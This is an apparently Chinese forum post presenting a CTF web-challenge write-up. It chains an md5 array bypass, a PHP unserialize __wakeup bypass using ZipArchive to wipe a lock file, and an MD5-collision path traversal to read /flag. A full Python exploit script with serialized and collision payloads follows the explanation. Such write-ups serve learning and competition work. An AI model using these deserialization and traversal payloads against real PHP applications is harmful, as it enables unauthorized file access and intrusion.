好友
阅读权限10
听众
最后登录1970-1-1
|
题目首页直接回显源码,核心逻辑如下:
```php
if((($_POST['b'] != $_POST['a']) && (md5($_POST['b']) === md5($_POST['a'])))){
unserialize($_POST['c']);
}
```
`unserialize($_POST['c'])` 是入口,`Jesen::__wakeup()` 会把 `$me` 重置成 `new Ctf()`,`Jesen::__destruct()` 会调用 `$this->me->open($this->filename,$this->content)`。`Ctf::open()` 又分成两条路:
```php
if(!file_get_contents("./sandbox/lock.lock")){
echo file_get_contents(substr($_POST['b'],0,30));
die();
}else{
file_put_contents("./sandbox/".md5($filename.time()),$content);
die("or you can guess the final filename?");
}
```
所以利用思路很清晰:
1. 先绕过 `md5($_POST['b']) === md5($_POST['a'])`。
2. 再想办法不让 `__wakeup()` 把 `$me` 改回去。
3. 利用可控 `$me` 清空 `./sandbox/lock.lock`。
4. 第二次请求进入读文件分支,让 `substr($_POST['b'],0,30)` 指向 flag。
第一步可以直接用数组绕过。在 PHP 7.0.9 下,报错被关闭时,`md5(array)` 会得到 `NULL`,因此:
```http
a[]=1
b[]=2
```
满足:
- `$_POST['a'] != $_POST['b']`
- `md5($_POST['a']) === md5($_POST['b'])`
第二步利用伪造属性个数的方式绕过 `__wakeup()`,把 `$me` 保持为内置类 `ZipArchive`,然后让析构时实际调用:
```php
ZipArchive::open("./sandbox/lock.lock", 8)
```
这里 `8` 对应 `ZipArchive::OVERWRITE`,可以把 `lock.lock` 清空。第一阶段打完后,第二阶段就会进入读文件分支。
第三步需要满足两个条件:`a` 和 `b` 不相等,但 MD5 完全相同。这里直接使用现成的 MD5 强碰撞样本。把碰撞块前 30 个字节固定成:
```text
./../../../../../../../../flag
```
它刚好是 30 字节,能被 `substr($_POST['b'],0,30)` 完整截出来,最终实现读 `/flag`。
```python
#!/usr/bin/env python3
import re
from urllib.parse import quote_plus
import requests
url = "http://171.80.2.169:18382/"
session = requests.Session()
stage1_c = (
'O:5:"Jesen":4:{s:8:"filename";s:19:"./sandbox/lock.lock";'
's:7:"content";i:8;s:2:"me";O:10:"ZipArchive":5:{'
's:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;'
's:8:"filename";s:0:"";s:7:"comment";s:0:"";}}'
)
stage1_body = "a%5B%5D=1&b%5B%5D=2&c=" + quote_plus(stage1_c)
session.post(
url,
data=stage1_body,
headers={"Content-Type": "application/x-www-form-urlencoded"},
timeout=10,
)
stage2_body = r'''a=.%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fflag%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03HX%E5r%04%93%D5%8E%B8c%A2I%02%B3%BA%11%9F%BE%3D%10%25%B7%296fB%E5%A5%8D%AD%A2%9A%D5%FD%EBB%ED%E7%26%8B%60%CDt%1A%98%F9i%CC%BC%B4%E7%D3%D4%7D%3DL%C0sux%9B%D89%DB%5C%90%02%0C%0C%DD%A7%8F%1C%B0P7%E4%2B%1E%08%9C%9Dp%FF%85%0E%1E%D3%1A%069%EC%C6%01%E6n%5E%1EV%F4%8F%F8%12%AAGHO%7FPJl%F6%5B8%06%F7%7Cdm%BD%5CC%02%0F%F2%F3I&b=.%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fflag%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03HX%E5r%04%93%D5%8E%B8c%A2I%02%B3%BA%11%9F%BE%BD%10%25%B7%296fB%E5%A5%8D%AD%A2%9A%D5%FD%EBB%ED%E7%26%8B%60%CDt%1A%18%FAi%CC%BC%B4%E7%D3%D4%7D%3DL%C0s%F5x%9B%D89%DB%5C%90%02%0C%0C%DD%A7%8F%1C%B0P7%E4%2B%1E%08%9C%9D%F0%FF%85%0E%1E%D3%1A%069%EC%C6%01%E6n%5E%1EV%F4%8F%F8%12%AAGHO%7F%D0Il%F6%5B8%06%F7%7Cdm%BD%5CC%82%0F%F2%F3I&c=O:5:"Jesen":3:{s:8:"username";N;s:7:"content";N;s:2:"me";N;}'''
r = session.post(
url,
data=stage2_body,
headers={"Content-Type": "application/x-www-form-urlencoded"},
timeout=10,
)
print(re.search(r"flag\\{.*?\\}", r.text).group(0))
```
flag{60322478282404f8497dc913ecbacc0d} |
免费评分
-
查看全部评分
|